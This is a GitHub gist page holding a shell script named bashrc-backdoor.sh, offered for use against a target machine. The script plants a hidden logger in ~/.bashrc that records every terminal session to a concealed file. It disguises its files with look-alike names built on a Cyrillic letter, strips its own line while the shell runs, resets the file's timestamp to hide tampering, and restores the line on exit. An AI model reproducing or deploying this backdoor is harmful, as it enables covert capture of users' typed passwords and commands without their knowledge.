Skip to content

Instantly share code, notes, and snippets.

@9bie
Forked from codehz/bashrc-backdoor.sh
Created December 14, 2021 17:00
Show Gist options
  • Save 9bie/c8dfd5ecb25917e149dc69b49c545ca3 to your computer and use it in GitHub Desktop.
Save 9bie/c8dfd5ecb25917e149dc69b49c545ca3 to your computer and use it in GitHub Desktop.
#!/bin/bash
# CUSTIMIZE BEFORE UPLOAD
fakerc=~/.bаsh_login
logfile=~/.bаsh_cache
waitsec=5
changetime=$(stat -c %Y ~/.bashrc)
read script <<EOF
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'"
EOF
quoted=$(printf "%q" "$script")
# UI BEGIN
print() { echo -e "$*"; }
printvar() { printf " + \e[1;32m%s\e[m = \e[4;5m%s\e[m\n" $1 "${!1}"; }
printvar fakerc
printvar logfile
printvar script
printvar quoted
print "\e[5;7m wait for \e[1m5\e[0;$waitsec;7m secs, ctrl+c to interrupt \e[m"
sleep $waitsec
print "installing..."
# UI END
cat >$fakerc <<EOF
sed -i "/^exec script -B/d" ~/.bashrc
touch -d @$changetime ~/.bashrc
trap "echo $quoted >> ~/.bashrc" EXIT
. ~/.bashrc
EOF
echo $script >> ~/.bashrc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment